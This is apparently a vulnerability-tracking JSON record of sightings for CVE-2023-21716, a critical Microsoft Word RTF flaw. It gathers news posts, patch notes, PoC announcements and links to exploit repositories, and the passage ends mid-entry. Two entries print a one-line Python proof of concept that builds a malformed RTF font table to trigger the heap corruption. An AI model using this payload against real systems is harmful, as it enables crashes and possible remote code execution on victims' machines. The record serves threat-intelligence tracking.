{"vulnerability": "CVE-2023-21716", "sightings": [{"uuid": "0f266659-def8-4822-8535-73fd94ff1a0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3lulatianvts2", "content": "", "creation_timestamp": "2025-07-22T19:36:54.550489Z"}, {"uuid": "39c9e070-672b-4df5-8b84-7e416bbf6eab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:12:40.000000Z"}, {"uuid": "c1313711-01b6-4068-8d78-6ccdfeff3e08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:00:52.000000Z"}, {"uuid": "1a69f303-26ce-4067-8c7e-ef834d4edf51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/fdda4963-0aa7-4d15-8a8f-969db8f304ca", "content": "", "creation_timestamp": "2025-02-28T23:49:13.272798Z"}, {"uuid": "4807b748-7e10-48ca-98d9-f2a576f2ce45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=970", "content": "", "creation_timestamp": "2023-02-15T04:00:00.000000Z"}, {"uuid": "ec1514c9-ed15-47be-a868-8e302e68c16e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/kasperskyb2b/458", "content": "\u0414\u0435\u043d\u044c \u0441\u0432\u044f\u0442\u043e\u0433\u043e Patch Tuesday\n\n\u0424\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0439  \u00ab\u0432\u0442\u043e\u0440\u043d\u0438\u043a \u0437\u0430\u043f\u043b\u0430\u0442\u043e\u043a\u00bb Microsoft \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0445 77 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 9 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445. 38 \u0438\u0437 \u043d\u0438\u0445 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, 12 \u2013 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, 10 \u2013 \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438, 2 \u2013 \u043e\u0431\u0445\u043e\u0434\u0443 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, 8 \u2013 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 8 \u2013 \u043f\u043e\u0434\u043c\u0435\u043d\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438. \n\n\u0422\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u044b \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439, \u043a\u0430\u043a \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435:\nCVE-2023-21715 (CVSS 7.3) \u2013 \u043e\u0431\u0445\u043e\u0434 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Microsoft Publisher, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u043a \u043c\u0430\u043a\u0440\u043e\u0441\u043e\u0432 \u0432\u043e\u043f\u0440\u0435\u043a\u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\nCVE-2023-21823 (CVSS 7.8) \u2013 RCE \u0432 Windows Graphics Component, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 system. \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0447\u0442\u043e \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0447\u0435\u0440\u0435\u0437 Microsoft Store.\nCVE-2023-23376 (CVSS 7.8) \u2013 \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 Windows Common Log File System\n\n\u0418\u0437 (\u043f\u043e\u043a\u0430) \u043d\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0431\u0430\u0433\u043e\u0432 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441 CVE-2023-21716 \u0432 Microsoft Word \u0441 CVSS-\u0440\u0435\u0439\u0442\u0438\u043d\u0433\u043e\u043c 9.8. \u0412\u0435\u043a\u0442\u043e\u0440\u043e\u043c \u0430\u0442\u0430\u043a\u0438 \u0432 \u043d\u0451\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 RTF-\u0444\u0430\u0439\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE.\n\u0414\u0440\u0443\u0433\u043e\u0439 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u0435\u0441\u043e\u043c\u044b\u0439 \u043f\u043e\u0434\u0430\u0440\u043e\u043a \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u2013 CVE-2023-21689 (\u0430 \u0442\u0430\u043a\u0436\u0435 21690 \u0438 21692) \u0441 CVSS 9.8, \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 \u0441 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c Protected  Extensible Authentication Protocol (PEAP).\n\n\nThe last, but not least \u2013 \u0432 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0435\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 Microsoft \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u043d\u0430\u0432\u0441\u0435\u0433\u0434\u0430 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u043b\u0430 Internet Explorer \u0432 Windows 10. \u0423\u0448\u043b\u0430 \u044d\u043f\u043e\u0445\u0430! \u041c\u044b, \u0432\u043f\u0440\u043e\u0447\u0435\u043c, \u043d\u0435 \u0431\u0443\u0434\u0435\u043c \u043f\u043e \u043d\u0435\u0439 \u0441\u043a\u0443\u0447\u0430\u0442\u044c.\n\n#\u043d\u043e\u0432\u043e\u0441\u0442\u0438", "creation_timestamp": "2023-02-16T12:47:40.000000Z"}, {"uuid": "db65617e-f41e-462f-93f1-d7cf8803a8a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/cKure/10766", "content": "Microsoft Word Zero-Day (CVE-2023-21716) PoC goes public.\n\nhttps://qoop.org/publications/cve-2023-21716-rtf-fonttbl.md\n\nhttps://www.helpnetsecurity.com/2023/03/06/cve-2023-21716-poc/", "creation_timestamp": "2023-03-07T14:51:28.000000Z"}, {"uuid": "f6c3de2a-7076-4c95-872c-41b739aac2bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/cKure/10763", "content": "Microsoft Word Zero-Day (CVE-2023-21716) PoC goes public.\n\nhttps://qoop.org/publications/cve-2023-21716-rtf-fonttbl.md\n\nhttps://www.helpnetsecurity.com/2023/03/06/cve-2023-21716-poc/", "creation_timestamp": "2023-03-06T21:03:54.000000Z"}, {"uuid": "a60ca6f2-2d81-4680-9ee7-8ef780f119bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/BleepingComputer/15739", "content": "\u200aProof-of-Concept released for critical Microsoft Word RCE bug\n\nA proof-of-concept for CVE-2023-21716, a critical vulnerability in Microsoft Word that allows remote code execution, has been published over the weekend. [...]\n\nhttps://www.bleepingcomputer.com/news/security/proof-of-concept-released-for-critical-microsoft-word-rce-bug/", "creation_timestamp": "2023-03-06T23:09:48.000000Z"}, {"uuid": "55d90e9b-32c7-4c28-9234-30b87db1e575", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/3895", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aResults of retrohunt for files matching YARA rules from https://github.com/AmgdGocha/Detection-Rules/blob/main/CVE-2023-21716.yar\nURL\uff1ahttps://github.com/mikesxrs/CVE-2023-21716_YARA_Results\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-03-09T13:08:35.000000Z"}, {"uuid": "394ad428-9991-43d1-bff6-8c784f195fc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/3889", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aTOP All bugbounty pentesting CVE-2023- POC Exp  RCE example payload  Things\nURL\uff1ahttps://github.com/gyaansastra/CVE-2023-21716\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-03-08T06:30:56.000000Z"}, {"uuid": "993350d6-c36e-410a-b50a-7eb687f5cdd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/4031", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1atest of exploit for CVE-2023-21716\nURL\uff1ahttps://github.com/hv0l/CVE-2023-21716_exploit\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-03-24T16:12:58.000000Z"}, {"uuid": "b351be93-1133-41c8-a708-80251a531fef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/4194", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aPOC : CVE-2023-21716 Microsoft Word RTF Font Table Heap Corruption\nURL\uff1ahttps://github.com/JMousqueton/CVE-2023-21716\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-04-16T21:18:42.000000Z"}, {"uuid": "0cc5a485-cfc6-4f3d-983f-b40f2c632cbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/4556", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1apython program to exploit CVE-2023-21716\nURL\uff1ahttps://github.com/Lord-of-the-IoT/CVE-2023-21716\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-06-13T19:10:19.000000Z"}, {"uuid": "0feaf6d6-2355-4659-8022-23bc8223fa57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/ckuRED/252", "content": "Microsoft Word Zero-Day (CVE-2023-21716) PoC goes public.\n\nhttps://qoop.org/publications/cve-2023-21716-rtf-fonttbl.md\n\nhttps://www.helpnetsecurity.com/2023/03/06/cve-2023-21716-poc/", "creation_timestamp": "2023-03-06T21:03:38.000000Z"}, {"uuid": "40e08bed-c16a-41e9-80c3-cd9c3018ec97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6003", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-21716\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C)\n\ud83d\udd39 Description: Microsoft Word Remote Code Execution Vulnerability\n\ud83d\udccf Published: 2023-02-14T19:33:45.678Z\n\ud83d\udccf Modified: 2025-02-28T21:13:53.143Z\n\ud83d\udd17 References:\n1. https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21716", "creation_timestamp": "2025-02-28T21:37:31.000000Z"}, {"uuid": "46d37c76-df09-4662-856a-53b7453931f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/habr_com_news/15680", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442 \u043f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0414\u0436\u043e\u0448\u0443\u0430 \u0414\u0440\u0435\u0439\u043a \u0432 \u043e\u0434\u043d\u043e\u043c \u0442\u0432\u0438\u0442\u0435 \u0443\u043c\u0435\u0441\u0442\u0438\u043b \u043f\u0440\u0438\u043c\u0435\u0440 PoC \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043e\u0434\u0430 RCE-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-21716 \u0432 Microsoft Word. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0438\u0437 Microsoft \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 \u0437\u0430\u043a\u0440\u044b\u043b\u0438 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u041f\u041a \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c RTF. \u041f\u0440\u0438\u0447\u0451\u043c \u0444\u0430\u0439\u043b \u0434\u0430\u0436\u0435 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c, \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u044b\u043b\u043e, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0441\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u0447\u0435\u0440\u0435\u0437 \u00ab\u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430\u00bb (Preview Pane).\n\n#\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #Microsoft", "creation_timestamp": "2023-03-09T03:36:38.000000Z"}, {"uuid": "a72e874c-54f1-4a2c-8950-8839392f43a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/BleepingComputer/15734", "content": "Latest news and stories from BleepingComputer.com\nProof-of-Concept released for critical Microsoft Word RCE bug\n\nA proof-of-concept for CVE-2023-21716, a critical vulnerability in Microsoft Word that allows remote code execution, has been published over the weekend. [...]", "creation_timestamp": "2023-03-06T21:11:01.000000Z"}, {"uuid": "704bb072-0d2d-484a-bc8d-5e38ff9291af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/malwar3s/38", "content": "https://github.com/CKevens/CVE-2023-21716-POC", "creation_timestamp": "2023-03-15T16:42:13.000000Z"}, {"uuid": "ea28bd0d-7325-44cd-8890-6c16af5d6112", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "Telegram/8L4_lmLW4UC2ToD6k_8Hz_lqcPDPqPr42hObckSKTbVBIg", "content": "", "creation_timestamp": "2025-07-31T17:26:27.000000Z"}, {"uuid": "05daf8db-9aff-40e3-a06d-bcfcbc46610a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/poxek/2758", "content": "CVE-2023-21716(Microsoft Word RCE vuln) Python PoC\n\nopen(\"t3zt.rtf\",\"wb\").write((\"{\\\\rtf1{\\n{\\\\fonttbl\" + \"\".join([ (\"{\\\\f%dA;}\\n\" % i) for i in range(0,32761) ]) + \"}\\n{\\\\rtlch no crash??}\\n}}\\n\").encode('utf-8'))", "creation_timestamp": "2023-03-06T17:38:30.000000Z"}, {"uuid": "d9420507-f11b-4b7e-81be-1a11f1d176fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/poxek/2831", "content": "0-CLICK Microsoft Word RCE exploit\nCVE-2023-21716 Python\n\nRTF Crash POC Python 3.11 Windows 10\n\nPoC (take 2) open(\"t3zt.rtf\",\"wb\").write((\"{\\\\rtf1{\\n{\\\\fonttbl\" + \"\".join( (\"{\\\\f%dA;}\\n\" % i) for i in range(0,32761) ) + \"}\\n{\\\\rtlch no crash??}\\n}}\\n\").encode('utf-8'))\n\n#CVE #RCE", "creation_timestamp": "2023-06-06T16:04:19.000000Z"}, {"uuid": "58350ea9-34e4-4a2b-a7c2-1d72fdf12584", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/alexredsec/314", "content": "\u0412\u044b\u0448\u043b\u0430 \u0442\u0440\u0435\u0442\u044c\u044f \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f Exploit Prediction Scoring System (EPSS). \u041f\u0438\u0448\u0443\u0442, \u0447\u0442\u043e \u0441\u0442\u0430\u043b\u0430 \u043d\u0430 82% \u043a\u0440\u0443\u0447\u0435. \u0415\u0441\u0442\u044c \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u043a\u043e\u043b\u044c\u043d\u0430\u044f \u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0430\u044f \u0441\u0442\u0430\u0442\u044c\u044f \u043f\u0440\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, EPSS-\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0435 16 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0430 \u0430\u0436 1164. \u0415\u0441\u0442\u044c \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c  \u044d\u0442\u0438\u0445 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u044d\u0442\u043e \u043b\u0435\u0439\u0431\u043b\u044b \u0432\u0435\u043d\u0434\u043e\u0440\u043e\u0432, \u043a\u0430\u043a \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435. \u041d\u043e \u0432\u044b\u044f\u0441\u043d\u044f\u0442\u044c \u043a\u0430\u043a \u043e\u043d\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0434\u0435\u043b\u043e \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043c\u0430\u043b\u043e\u043f\u0435\u0440\u0441\u043f\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0435, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \"\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0443 \u043d\u0435\u0439 \u043d\u0435\u0439\u0440\u043e\u043d\u043a\u0430\" (c). \u0412 \u0446\u0435\u043b\u043e\u043c, \u043f\u043e \u0437\u0430\u043f\u0443\u0442\u0430\u043d\u043d\u043e\u0441\u0442\u0438 \u0443\u0436\u0435 \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 Tenable VPR. \u041d\u043e \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e\u0441\u0442\u044c \u0432\u0441\u0451 \u0438\u0441\u043a\u0443\u043f\u0430\u0435\u0442. \ud83d\ude07 \u041a\u0441\u0442\u0430\u0442\u0438, \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u044e\u0442 Tenable VPR \u0438 \u043f\u0440\u043e\u0447\u0438\u0435 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u043a\u043e\u0440\u044b \u0438 \u043a\u0440\u0438\u0442\u0438\u043a\u0443\u044e\u0442 \u0438\u0445 \u0437\u0430 \u043f\u0440\u043e\u043f\u0440\u0438\u0435\u0442\u0430\u0440\u043d\u043e\u0441\u0442\u044c, \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0443\u044e \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0438 \u0442\u043e, \u0447\u0442\u043e \u043e\u043d\u0438 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0431\u0430\u0437\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043d\u0430 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u043e\u043c \u043c\u043d\u0435\u043d\u0438\u0438, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041f\u043e\u0433\u043b\u044f\u0434\u0435\u043b \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0443 EPSS \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u0445. \n1. \u0414\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Word-\u0430 (CVE-2023-21716) \u0441 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u043c PoC-\u043e\u043c EPSS \u043e\u0447\u0435\u043d\u044c \u0432\u044b\u0441\u043e\u043a\u0438\u0439 (0.16846,0.95168). \n2. \u0414\u043b\u044f SPNEGO (CVE-2022-37958), \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e 